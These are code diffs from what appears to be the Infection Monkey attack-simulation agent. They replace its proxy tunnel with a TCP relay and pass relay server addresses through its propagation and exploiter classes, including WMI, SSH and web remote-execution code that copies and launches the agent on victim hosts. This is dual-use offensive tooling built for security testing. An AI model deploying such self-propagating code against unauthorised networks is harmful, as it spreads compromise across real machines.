ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)

View File

@ -370,14 +370,16 @@ class WebRCE(HostExploiter):
default_path = self.get_default_dropper_path()
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(self.host, self.current_depth + 1, default_path)
monkey_cmd = build_monkey_commandline(
self.servers, self.current_depth + 1, default_path
)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}
else:
monkey_cmd = build_monkey_commandline(self.host, self.current_depth + 1)
monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": MONKEY_ARG,

View File

@ -103,14 +103,14 @@ class WmiExploiter(HostExploiter):
cmdline = DROPPER_CMDLINE_WINDOWS % {
"dropper_path": remote_full_path
} + build_monkey_commandline(
self.host,
self.servers,
self.current_depth + 1,
DROPPER_TARGET_PATH_WIN64,
)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {
"monkey_path": remote_full_path
} + build_monkey_commandline(self.host, self.current_depth + 1)
} + build_monkey_commandline(self.servers, self.current_depth + 1)
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(

View File

@ -2,7 +2,7 @@ import logging
import threading
import time
from ipaddress import IPv4Interface
from typing import Any, Callable, Collection, List, Optional
from typing import Any, Callable, Collection, List, Optional, Sequence
from common.agent_configuration import CustomPBAConfiguration, PluginConfiguration
from common.utils import Timer
@ -35,6 +35,7 @@ class AutomatedMaster(IMaster):
def __init__(
self,
current_depth: Optional[int],
servers: Sequence[str],
puppet: IPuppet,
telemetry_messenger: ITelemetryMessenger,
victim_host_factory: VictimHostFactory,
@ -43,6 +44,7 @@ class AutomatedMaster(IMaster):
credentials_store: IPropagationCredentialsRepository,
):
self._current_depth = current_depth
self._servers = servers
self._puppet = puppet
self._telemetry_messenger = telemetry_messenger
self._control_channel = control_channel
@ -174,8 +176,8 @@ class AutomatedMaster(IMaster):
current_depth = self._current_depth if self._current_depth is not None else 0
logger.info(f"Current depth is {current_depth}")
if maximum_depth_reached(config.propagation.maximum_depth, current_depth):
self._propagator.propagate(config.propagation, current_depth, self._stop)
if not maximum_depth_reached(config.propagation.maximum_depth, current_depth):
self._propagator.propagate(config.propagation, current_depth, self._servers, self._stop)
else:
logger.info("Skipping propagation: maximum depth reached")

View File

@ -1,7 +1,7 @@
import json
import logging
from pprint import pformat
from typing import MutableMapping, Optional, Sequence
from typing import Optional, Sequence
from uuid import UUID
import requests
@ -22,10 +22,9 @@ logger = logging.getLogger(__name__)
class ControlChannel(IControlChannel):
def __init__(self, server: str, agent_id: str, proxies: MutableMapping[str, str]):
def __init__(self, server: str, agent_id: str):
self._agent_id = agent_id
self._control_channel_server = server
self._proxies = proxies
def register_agent(self, parent: Optional[UUID] = None):
agent_registration_data = AgentRegistrationData(
@ -44,7 +43,6 @@ class ControlChannel(IControlChannel):
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
proxies=self._proxies,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@ -68,7 +66,6 @@ class ControlChannel(IControlChannel):
response = requests.get( # noqa: DUO123
url,
verify=False,
proxies=self._proxies,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@ -89,7 +86,6 @@ class ControlChannel(IControlChannel):
response = requests.get( # noqa: DUO123
f"https://{self._control_channel_server}/api/agent-configuration",
verify=False,
proxies=self._proxies,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@ -116,7 +112,6 @@ class ControlChannel(IControlChannel):
response = requests.get( # noqa: DUO123
propagation_credentials_url,
verify=False,
proxies=self._proxies,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()

View File

@ -53,6 +53,7 @@ class Exploiter:
exploitation_config: ExploitationConfiguration,
hosts_to_exploit: Queue,
current_depth: int,
servers: Sequence[str],
results_callback: Callback,
scan_completed: Event,
stop: Event,
@ -67,6 +68,7 @@ class Exploiter:
exploiters_to_run,
hosts_to_exploit,
current_depth,
servers,
results_callback,
scan_completed,
stop,
@ -103,6 +105,7 @@ class Exploiter:
exploiters_to_run: Sequence[PluginConfiguration],
hosts_to_exploit: Queue,
current_depth: int,
servers: Sequence[str],
results_callback: Callback,
scan_completed: Event,
stop: Event,
@ -113,7 +116,7 @@ class Exploiter:
try:
victim_host = hosts_to_exploit.get(timeout=QUEUE_TIMEOUT)
self._run_all_exploiters(
exploiters_to_run, victim_host, current_depth, results_callback, stop
exploiters_to_run, victim_host, current_depth, servers, results_callback, stop
)
except queue.Empty:
if _all_hosts_have_been_processed(scan_completed, hosts_to_exploit):
@ -130,6 +133,7 @@ class Exploiter:
exploiters_to_run: Sequence[PluginConfiguration],
victim_host: VictimHost,
current_depth: int,
servers: Sequence[str],
results_callback: Callback,
stop: Event,
):
@ -147,7 +151,7 @@ class Exploiter:
continue
exploiter_results = self._run_exploiter(
exploiter_name, exploiter.options, victim_host, current_depth, stop
exploiter_name, exploiter.options, victim_host, current_depth, servers, stop
)
results_callback(exploiter_name, victim_host, exploiter_results)
@ -160,6 +164,7 @@ class Exploiter:
options: Dict,
victim_host: VictimHost,
current_depth: int,
servers: Sequence[str],
stop: Event,
) -> ExploiterResultData:
logger.debug(f"Attempting to use {exploiter_name} on {victim_host.ip_addr}")
@ -169,7 +174,7 @@ class Exploiter:
try:
return self._puppet.exploit_host(
exploiter_name, victim_host, current_depth, options, stop
exploiter_name, victim_host, current_depth, servers, options, stop
)
except Exception as ex:
msg = (

View File

@ -47,7 +47,11 @@ class Propagator:
self._hosts_to_exploit: Queue = Queue()
def propagate(
self, propagation_config: PropagationConfiguration, current_depth: int, stop: Event
self,
propagation_config: PropagationConfiguration,
current_depth: int,
servers: Sequence[str],
stop: Event,
):
logger.info("Attempting to propagate")
@ -66,7 +70,13 @@ class Propagator:
exploit_thread = create_daemon_thread(
target=self._exploit_hosts,
name="PropagatorExploitThread",
args=(propagation_config.exploitation, current_depth, network_scan_completed, stop),
args=(
propagation_config.exploitation,
current_depth,
servers,
network_scan_completed,
stop,
),
)
scan_thread.start()
@ -167,6 +177,7 @@ class Propagator:
self,
exploitation_config: ExploitationConfiguration,
current_depth: int,
servers: Sequence[str],
network_scan_completed: Event,
stop: Event,
):
@ -176,6 +187,7 @@ class Propagator:
exploitation_config,
self._hosts_to_exploit,
current_depth,
servers,
self._process_exploit_attempts,
network_scan_completed,
stop,

View File

@ -1,4 +1,4 @@
from typing import Optional
from typing import Any, Dict, Optional
from common import OperatingSystem
@ -7,10 +7,9 @@ class VictimHost(object):
def __init__(self, ip_addr: str, domain_name: str = ""):
self.ip_addr = ip_addr
self.domain_name = str(domain_name)
self.os = {}
self.services = {}
self.os: Dict[str, Any] = {}
self.services: Dict[str, Any] = {}
self.icmp = False
self.default_tunnel = None
self.default_server = None
def as_dict(self):

View File

@ -4,7 +4,6 @@ from typing import Optional, Tuple
from infection_monkey.model import VictimHost
from infection_monkey.network import NetworkAddress
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.tunnel import MonkeyTunnel
logger = logging.getLogger(__name__)
@ -12,12 +11,10 @@ logger = logging.getLogger(__name__)
class VictimHostFactory:
def __init__(
self,
tunnel: Optional[MonkeyTunnel],
island_ip: Optional[str],
island_port: Optional[str],
on_island: bool,
):
self.tunnel = tunnel
self.island_ip = island_ip
self.island_port = island_port
self.on_island = on_island
@ -26,19 +23,15 @@ class VictimHostFactory:
domain = network_address.domain or ""
victim_host = VictimHost(network_address.ip, domain)
if self.tunnel:
victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr)
if self.island_ip:
ip, port = self._choose_island_address(victim_host.ip_addr)
victim_host.set_island_address(ip, port)
logger.debug(f"Default tunnel for {victim_host} set to {victim_host.default_tunnel}")
logger.debug(f"Default server for {victim_host} set to {victim_host.default_server}")
return victim_host
def _choose_island_address(self, victim_ip: str) -> Tuple[str, Optional[str]]:
def _choose_island_address(self, victim_ip: str) -> Tuple[Optional[str], Optional[str]]:
# Victims need to connect back to the interface they can reach
# On island, choose the right interface to pass to children monkeys
if self.on_island:

View File

@ -3,13 +3,12 @@ import logging
import os
import subprocess
import sys
from ipaddress import IPv4Interface
from ipaddress import IPv4Address, IPv4Interface
from pathlib import Path, WindowsPath
from typing import List
from pubsub.core import Publisher
import infection_monkey.tunnel as tunnel
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
from common.event_serializers import (
EventSerializerRegistry,
@ -45,7 +44,13 @@ from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel
from infection_monkey.model import VictimHostFactory
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_network_interfaces
from infection_monkey.network.info import get_free_tcp_port, get_network_interfaces, local_ips
from infection_monkey.network.relay import TCPRelay
from infection_monkey.network.relay.utils import (
find_server,
notify_disconnect,
send_remove_from_waitlist_control_message_to_relays,
)
from infection_monkey.network_scanning.elasticsearch_fingerprinter import ElasticSearchFingerprinter
from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter
from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter
@ -77,7 +82,6 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im
LegacyTelemetryMessengerAdapter,
)
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
@ -99,29 +103,52 @@ class InfectionMonkey:
logger.info("Monkey is initializing...")
self._singleton = SystemSingleton()
self._opts = self._get_arguments(args)
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server)
self._control_client = ControlClient(self._opts.server)
# TODO: Revisit variable names
server = self._get_server()
# TODO: `address_to_port()` should return the port as an integer.
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
self._cmd_island_port = int(self._cmd_island_port)
self._control_client = ControlClient(server_address=server)
# TODO Refactor the telemetry messengers to accept control client
# and remove control_client_object
ControlClient.control_client_object = self._control_client
self._monkey_inbound_tunnel = None
self._control_channel = None
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
self._current_depth = self._opts.depth
self._master = None
self._inbound_tunnel_opened = False
self._relay: TCPRelay
@staticmethod
def _get_arguments(args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument("-t", "--tunnel")
arg_parser.add_argument("-s", "--server")
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
opts = arg_parser.parse_args(args)
InfectionMonkey._log_arguments(opts)
return opts
def _get_server(self):
logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
servers_iterator = (s for s in self._opts.servers)
server = find_server(servers_iterator)
if server:
logger.info(f"Successfully connected to the island via {server}")
else:
raise Exception(
f"Failed to connect to the island via any known servers: {self._opts.servers}"
)
# Note: Since we pass the address for each of our interfaces to the exploited
# machines, is it possible for a machine to unintentionally unregister itself from the
# relay if it is able to connect to the relay over multiple interfaces?
send_remove_from_waitlist_control_message_to_relays(servers_iterator)
return server
@staticmethod
def _log_arguments(args):
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
@ -135,7 +162,7 @@ class InfectionMonkey:
logger.info("Agent is starting...")
logger.info(f"Agent GUID: {GUID}")
self._connect_to_island()
self._control_client.wakeup(parent=self._opts.parent)
# TODO: Reevaluate who is responsible to send this information
if is_windows_os():
@ -143,9 +170,7 @@ class InfectionMonkey:
run_aws_environment_check(self._telemetry_messenger)
should_stop = ControlChannel(
self._control_client.server_address, GUID, self._control_client.proxies
).should_agent_stop()
should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
if should_stop:
logger.info("The Monkey Island has instructed this agent to stop")
return
@ -153,21 +178,6 @@ class InfectionMonkey:
self._setup()
self._master.start()
def _connect_to_island(self):
# Sets island's IP and port for monkey to communicate to
if self._current_server_is_set():
logger.debug(f"Default server set to: {self._control_client.server_address}")
else:
raise Exception(f"Monkey couldn't find server with {self._opts.tunnel} default tunnel.")
self._control_client.wakeup(parent=self._opts.parent)
def _current_server_is_set(self) -> bool:
if self._control_client.find_server(default_tunnel=self._opts.tunnel):
return True
return False
def _setup(self):
logger.debug("Starting the setup phase.")
@ -178,25 +188,26 @@ class InfectionMonkey:
_ = self._setup_agent_event_serializers()
control_channel = ControlChannel(
self._control_client.server_address, GUID, self._control_client.proxies
)
control_channel.register_agent(self._opts.parent)
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
self._control_channel.register_agent(self._opts.parent)
config = control_channel.get_config()
self._monkey_inbound_tunnel = self._control_client.create_control_tunnel(
config.keep_tunnel_open_time
config = self._control_channel.get_config()
relay_port = get_free_tcp_port()
self._relay = TCPRelay(
relay_port,
IPv4Address(self._cmd_island_ip),
self._cmd_island_port,
client_disconnect_timeout=config.keep_tunnel_open_time,
)
if self._monkey_inbound_tunnel and maximum_depth_reached(
config.propagation.maximum_depth, self._current_depth
):
self._inbound_tunnel_opened = True
self._monkey_inbound_tunnel.start()
relay_servers = [f"{ip}:{relay_port}" for ip in local_ips()]
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
self._relay.start()
StateTelem(is_done=False, version=get_version()).send()
TunnelTelem(self._control_client.proxies).send()
self._build_master()
self._build_master(relay_servers)
register_signal_handlers(self._master)
@ -207,15 +218,12 @@ class InfectionMonkey:
return agent_event_serializer_registry
def _build_master(self):
def _build_master(self, relay_servers: List[str]):
local_network_interfaces = InfectionMonkey._get_local_network_interfaces()
# TODO control_channel and control_client have same responsibilities, merge them
control_channel = ControlChannel(
self._control_client.server_address, GUID, self._control_client.proxies
)
propagation_credentials_repository = AggregatingPropagationCredentialsRepository(
control_channel
self._control_channel
)
event_queue = PyPubSubAgentEventQueue(Publisher())
@ -226,15 +234,16 @@ class InfectionMonkey:
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
self._telemetry_messenger, self._monkey_inbound_tunnel
self._telemetry_messenger, self._relay
)
self._master = AutomatedMaster(
self._current_depth,
self._opts.servers + relay_servers,
puppet,
telemetry_messenger,
victim_host_factory,
control_channel,
self._control_channel,
local_network_interfaces,
propagation_credentials_repository,
)
@ -284,7 +293,7 @@ class InfectionMonkey:
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
agent_binary_repository = CachingAgentBinaryRepository(
f"https://{self._control_client.server_address}", self._control_client.proxies
f"https://{self._control_client.server_address}"
)
exploit_wrapper = ExploiterWrapper(
self._telemetry_messenger, event_queue, agent_binary_repository
@ -384,9 +393,7 @@ class InfectionMonkey:
on_island = self._running_on_island(local_network_interfaces)
logger.debug(f"This agent is running on the island: {on_island}")
return VictimHostFactory(
self._monkey_inbound_tunnel, self._cmd_island_ip, self._cmd_island_port, on_island
)
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
server_ip, _ = address_to_ip_port(self._control_client.server_address)
@ -403,10 +410,7 @@ class InfectionMonkey:
self._master.cleanup()
reset_signal_handlers()
if self._inbound_tunnel_opened:
self._monkey_inbound_tunnel.stop()
self._monkey_inbound_tunnel.join()
self._stop_relay()
if firewall.is_enabled():
firewall.remove_firewall_rule()
@ -421,21 +425,28 @@ class InfectionMonkey:
).send() # Signal the server (before closing the tunnel)
self._close_tunnel()
self._singleton.unlock()
except Exception as e:
logger.error(f"An error occurred while cleaning up the monkey agent: {e}")
if deleted is None:
InfectionMonkey._self_delete()
finally:
self._singleton.unlock()
logger.info("Monkey is shutting down")
def _stop_relay(self):
if self._relay and self._relay.is_alive():
self._relay.stop()
while self._relay.is_alive() and not self._control_channel.should_agent_stop():
self._relay.join(timeout=5)
if self._control_channel.should_agent_stop():
self._relay.join(timeout=60)
def _close_tunnel(self):
tunnel_address = (
self._control_client.proxies.get("https", "").replace("http://", "").split(":")[0]
)
if tunnel_address:
logger.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address)
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
def _send_log(self):
monkey_log_path = get_agent_log_path()

View File

@ -3,14 +3,18 @@ import socket
import struct
from dataclasses import dataclass
from ipaddress import IPv4Interface
from random import randint # noqa: DUO102
from typing import List
from random import shuffle # noqa: DUO102
from threading import Lock
from typing import Dict, List, Set
import netifaces
import psutil
from egg_timer import EggTimer
from infection_monkey.utils.environment import is_windows_os
from .ports import COMMON_PORTS
# Timeout for monkey connections
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
@ -118,16 +122,93 @@ else:
return routes
def get_free_tcp_port(min_range=1024, max_range=65535):
min_range = max(1, min_range)
max_range = min(65535, max_range)
class TCPPortSelector:
"""
Select an available TCP port that a new server can listen on
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
Examines the system to find which ports are not in use and makes an intelligent decision
regarding what port can be used to host a server. In multithreaded applications, a race occurs
between the time when the OS reports that a port is free and when the port is actually used. In
other words, two threads which request a free port simultaneously may be handed the same port,
as the OS will report that the port is not in use. To combat this, the TCPPortSelector will
reserve a port for a period of time to give the requester ample time to start their server. Once
the requester's server is listening on the port, the OS will report the port as "LISTEN".
"""
for i in range(min_range, max_range):
port = randint(min_range, max_range)
def __init__(self):
self._leases: Dict[int, EggTimer] = {}
self._lock = Lock()
if port not in in_use:
return port
def get_free_tcp_port(
self, min_range: int = 1024, max_range: int = 65535, lease_time_sec: float = 30
):
"""
Get a free TCP port that a new server can listen on
return None
This function will attempt to provide a well-known port that the caller can listen on. If no
well-known ports are available, a random port will be selected.
:param min_range: The smallest port number a random port can be chosen from, defaults to
1024
:param max_range: The largest port number a random port can be chosen from, defaults to
65535
:param lease_time_sec: The amount of time a port should be reserved for if the OS does not report
it as in use, defaults to 30 seconds
:return: A TCP port number
"""
with self._lock:
ports_in_use = {conn.laddr[1] for conn in psutil.net_connections()}
common_port = self._get_free_common_port(ports_in_use, lease_time_sec)
if common_port is not None:
return common_port
return self._get_free_random_port(ports_in_use, min_range, max_range, lease_time_sec)
def _get_free_common_port(self, ports_in_use: Set[int], lease_time_sec):
for port in COMMON_PORTS:
if self._port_is_available(port, ports_in_use):
self._reserve_port(port, lease_time_sec)
return port
return None
def _get_free_random_port(
self, ports_in_use: Set[int], min_range: int, max_range: int, lease_time_sec: float
):
min_range = max(1, min_range)
max_range = min(65535, max_range)
ports = list(range(min_range, max_range))
shuffle(ports)
for port in ports:
if self._port_is_available(port, ports_in_use):
self._reserve_port(port, lease_time_sec)
return port
return None
def _port_is_available(self, port: int, ports_in_use: Set[int]):
if port in ports_in_use:
return False
if port not in self._leases:
return True
if self._leases[port].is_expired():
return True
return False
def _reserve_port(self, port: int, lease_time_sec: float):
timer = EggTimer()
timer.set(lease_time_sec)
self._leases[port] = timer
# TODO: This function is here because existing components rely on it. Refactor these components to
# accept a TCPPortSelector instance and use that instead.
def get_free_tcp_port(min_range=1024, max_range=65535, lease_time_sec=30):
return get_free_tcp_port.port_selector.get_free_tcp_port(min_range, max_range, lease_time_sec)
get_free_tcp_port.port_selector = TCPPortSelector() # type: ignore[attr-defined]

View File

@ -0,0 +1,15 @@
from typing import List
COMMON_PORTS: List[int] = [
1025, # NFS, IIS
1433, # Microsoft SQL Server
1434, # Microsoft SQL Monitor
1720, # h323q931
1723, # Microsoft PPTP VPN
3306, # mysql
3389, # Windows Terminal Server (RDP)
5900, # vnc
6001, # X11:1
8080, # http-proxy
8888, # sun-answerbook
]

View File

@ -0,0 +1,10 @@
from .relay_connection_handler import (
RelayConnectionHandler,
RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST,
)
from .relay_user_handler import RelayUser, RelayUserHandler
from .sockets_pipe import SocketsPipe
from .tcp_connection_handler import TCPConnectionHandler
from .tcp_pipe_spawner import TCPPipeSpawner
from .tcp_relay import TCPRelay
from .utils import notify_disconnect

View File

@ -0,0 +1 @@
SOCKET_TIMEOUT = 10

View File

@ -0,0 +1,40 @@
import socket
from ipaddress import IPv4Address
from logging import getLogger
from .relay_user_handler import RelayUserHandler
from .tcp_pipe_spawner import TCPPipeSpawner
RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST = b"infection-monkey-relay-control-message: -"
logger = getLogger(__name__)
class RelayConnectionHandler:
"""Handles new relay connections."""
def __init__(self, pipe_spawner: TCPPipeSpawner, relay_user_handler: RelayUserHandler):
self._pipe_spawner = pipe_spawner
self._relay_user_handler = relay_user_handler
def handle_new_connection(self, sock: socket.socket):
"""
Spawn a new pipe, or remove the user if the user requested to disconnect.
:param sock: The socket for the new connection.
"""
addr, _ = sock.getpeername()
addr = IPv4Address(addr)
control_message = sock.recv(
len(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST), socket.MSG_PEEK
)
if control_message.startswith(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST):
self._relay_user_handler.disconnect_user(addr)
else:
try:
self._pipe_spawner.spawn_pipe(sock)
self._relay_user_handler.add_relay_user(addr)
except OSError as err:
logger.debug(f"Failed to spawn pipe: {err}")

View File

@ -0,0 +1,106 @@
from dataclasses import dataclass
from ipaddress import IPv4Address
from logging import getLogger
from threading import Lock
from typing import Dict
from egg_timer import EggTimer
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.utils.code_utils import del_key
# Wait for potential new clients to connect
DEFAULT_NEW_CLIENT_TIMEOUT = 2.5 * MEDIUM_REQUEST_TIMEOUT
DEFAULT_DISCONNECT_TIMEOUT = 60 * 2 # Wait up to 2 minutes for clients to disconnect
logger = getLogger(__name__)
@dataclass
class RelayUser:
address: IPv4Address
timer: EggTimer
class RelayUserHandler:
"""Manages membership to a network relay."""
def __init__(
self,
new_client_timeout: float = DEFAULT_NEW_CLIENT_TIMEOUT,
client_disconnect_timeout: float = DEFAULT_DISCONNECT_TIMEOUT,
):
self._new_client_timeout = new_client_timeout
self._client_disconnect_timeout = client_disconnect_timeout
self._relay_users: Dict[IPv4Address, RelayUser] = {}
self._potential_users: Dict[IPv4Address, RelayUser] = {}
self._lock = Lock()
def add_relay_user(self, user_address: IPv4Address):
"""
Handle new user connection.
:param source_socket: A source socket
:param user_address: An address defining RelayUser which will be added to the relay
"""
with self._lock:
if user_address in self._potential_users:
del_key(self._potential_users, user_address)
timer = EggTimer()
timer.set(self._client_disconnect_timeout)
user = RelayUser(user_address, timer)
self._relay_users[user_address] = user
logger.debug(f"Added relay user {user}")
def add_potential_user(self, user_address: IPv4Address):
"""
Notify RelayUserHandler that a new user may try and connect.
:param user_address: An address defining potential RelayUser
that tries to connect to the relay
"""
with self._lock:
timer = EggTimer()
timer.set(self._new_client_timeout)
user = RelayUser(user_address, timer)
self._potential_users[user_address] = user
logger.debug(f"Added potential relay user {user}")
def disconnect_user(self, user_address: IPv4Address):
"""
Handle when a user disconnects.
:param user_address: The address of the disconnecting user.
"""
with self._lock:
if user_address in self._relay_users:
logger.debug(f"Disconnected user {user_address}")
del_key(self._relay_users, user_address)
def has_potential_users(self) -> bool:
"""
Return whether or not we have any potential users.
"""
with self._lock:
self._potential_users = RelayUserHandler._remove_expired_users(self._potential_users)
return len(self._potential_users) > 0
def has_connected_users(self) -> bool:
"""
Return whether or not we have any relay users.
"""
with self._lock:
self._relay_users = RelayUserHandler._remove_expired_users(self._relay_users)
return len(self._relay_users) > 0
@staticmethod
def _remove_expired_users(
user_list: Dict[IPv4Address, RelayUser]
) -> Dict[IPv4Address, RelayUser]:
return dict(filter(lambda ru: not ru[1].timer.is_expired(), user_list.items()))

View File

@ -0,0 +1,75 @@
from __future__ import annotations
import select
from logging import getLogger
from threading import Thread
from typing import Callable
from .consts import SOCKET_TIMEOUT
READ_BUFFER_SIZE = 8192
logger = getLogger(__name__)
class SocketsPipe(Thread):
"""Manages a pipe between two sockets."""
_thread_count: int = 0
def __init__(
self,
source,
dest,
pipe_closed: Callable[[SocketsPipe], None],
timeout=SOCKET_TIMEOUT,
):
self.source = source
self.dest = dest
self.timeout = timeout
super().__init__(name=f"SocketsPipeThread-{self._next_thread_num()}", daemon=True)
self._pipe_closed = pipe_closed
@classmethod
def _next_thread_num(cls):
cls._thread_count += 1
return cls._thread_count
def _pipe(self):
sockets = [self.source, self.dest]
socket_closed = False
while not socket_closed:
read_list, _, except_list = select.select(sockets, [], sockets, self.timeout)
if except_list:
raise OSError("select() failed on sockets {except_list}")
if not read_list:
raise TimeoutError("pipe did not receive data for {self.timeout} seconds")
for r in read_list:
other = self.dest if r is self.source else self.source
data = r.recv(READ_BUFFER_SIZE)
if data:
other.sendall(data)
else:
socket_closed = True
break
def run(self):
try:
self._pipe()
except OSError as err:
logger.debug(err)
try:
self.source.close()
except OSError as err:
logger.debug(f"Error while closing source socket: {err}")
try:
self.dest.close()
except OSError as err:
logger.debug(f"Error while closing destination socket: {err}")
self._pipe_closed(self)

View File

@ -0,0 +1,50 @@
import logging
import socket
from threading import Thread
from typing import Callable, List
from infection_monkey.utils.threading import InterruptableThreadMixin
PROXY_TIMEOUT = 2.5
logger = logging.getLogger(__name__)
class TCPConnectionHandler(Thread, InterruptableThreadMixin):
"""Accepts connections on a TCP socket."""
def __init__(
self,
bind_host: str,
bind_port: int,
client_connected: List[Callable[[socket.socket], None]] = [],
):
self.bind_host = bind_host
self.bind_port = bind_port
self._client_connected = client_connected
Thread.__init__(self, name="TCPConnectionHandler", daemon=True)
InterruptableThreadMixin.__init__(self)
def run(self):
try:
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
l_socket.bind((self.bind_host, self.bind_port))
l_socket.settimeout(PROXY_TIMEOUT)
l_socket.listen(5)
while not self._interrupted.is_set():
try:
source, _ = l_socket.accept()
except socket.timeout:
continue
logging.debug(f"New connection received from: {source.getpeername()}")
for notify_client_connected in self._client_connected:
notify_client_connected(source)
except OSError:
logging.exception("Uncaught error in TCPConnectionHandler thread")
finally:
l_socket.close()
logging.info("Exiting connection handler.")

View File

@ -0,0 +1,58 @@
import socket
from ipaddress import IPv4Address
from logging import getLogger
from threading import Lock
from typing import Set
from .consts import SOCKET_TIMEOUT
from .sockets_pipe import SocketsPipe
logger = getLogger(__name__)
class TCPPipeSpawner:
"""
Creates bi-directional pipes between the configured client and other clients.
"""
def __init__(self, target_addr: IPv4Address, target_port: int):
self._target_addr = target_addr
self._target_port = target_port
self._pipes: Set[SocketsPipe] = set()
self._lock = Lock()
def spawn_pipe(self, source: socket.socket):
"""
Attempt to create a pipe on between the configured client and the provided socket
:param source: A socket to the connecting client.
:raises OSError: If a socket to the configured client could not be created.
"""
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.settimeout(SOCKET_TIMEOUT)
try:
dest.connect((str(self._target_addr), self._target_port))
except OSError as err:
source.close()
dest.close()
raise err
pipe = SocketsPipe(source, dest, self._handle_pipe_closed)
with self._lock:
self._pipes.add(pipe)
pipe.start()
def has_open_pipes(self) -> bool:
"""Return whether or not the TCPPipeSpawner has any open pipes."""
with self._lock:
for p in self._pipes:
if p.is_alive():
return True
return False
def _handle_pipe_closed(self, pipe: SocketsPipe):
with self._lock:
logger.debug(f"Closing pipe {pipe}")
self._pipes.discard(pipe)

View File

@ -0,0 +1,77 @@
from ipaddress import IPv4Address
from logging import getLogger
from threading import Lock, Thread
from time import sleep
from infection_monkey.network.relay import (
RelayConnectionHandler,
RelayUserHandler,
TCPConnectionHandler,
TCPPipeSpawner,
)
from infection_monkey.utils.threading import InterruptableThreadMixin
logger = getLogger(__name__)
class TCPRelay(Thread, InterruptableThreadMixin):
"""
Provides and manages a TCP proxy connection.
"""
def __init__(
self,
relay_port: int,
dest_addr: IPv4Address,
dest_port: int,
client_disconnect_timeout: float,
):
self._user_handler = RelayUserHandler(
new_client_timeout=client_disconnect_timeout,
client_disconnect_timeout=client_disconnect_timeout,
)
self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
self._connection_handler = TCPConnectionHandler(
bind_host="",
bind_port=relay_port,
client_connected=[
relay_filter.handle_new_connection,
],
)
super().__init__(name="MonkeyTcpRelayThread", daemon=True)
InterruptableThreadMixin.__init__(self)
self._lock = Lock()
def run(self):
self._connection_handler.start()
self._interrupted.wait()
self._wait_for_users_to_disconnect()
self._connection_handler.stop()
self._connection_handler.join()
self._wait_for_pipes_to_close()
logger.info("TCP Relay closed.")
def add_potential_user(self, user_address: IPv4Address):
"""
Notify TCPRelay of a user that may try to connect.
:param user_address: The address of the potential new user.
"""
self._user_handler.add_potential_user(user_address)
def _wait_for_users_to_disconnect(self):
"""
Blocks until the users disconnect or the timeout has elapsed.
"""
while self._user_handler.has_potential_users() or self._user_handler.has_connected_users():
sleep(0.5)
def _wait_for_pipes_to_close(self):
"""
Blocks until the pipes have closed.
"""
while self._pipe_spawner.has_open_pipes():
sleep(0.5)

View File

@ -0,0 +1,101 @@
import logging
import socket
from contextlib import suppress
from ipaddress import IPv4Address
from typing import Dict, Iterable, Iterator, MutableMapping, Optional
import requests
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import address_to_ip_port
from infection_monkey.network.relay import RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST
from infection_monkey.utils.threading import (
ThreadSafeIterator,
create_daemon_thread,
run_worker_threads,
)
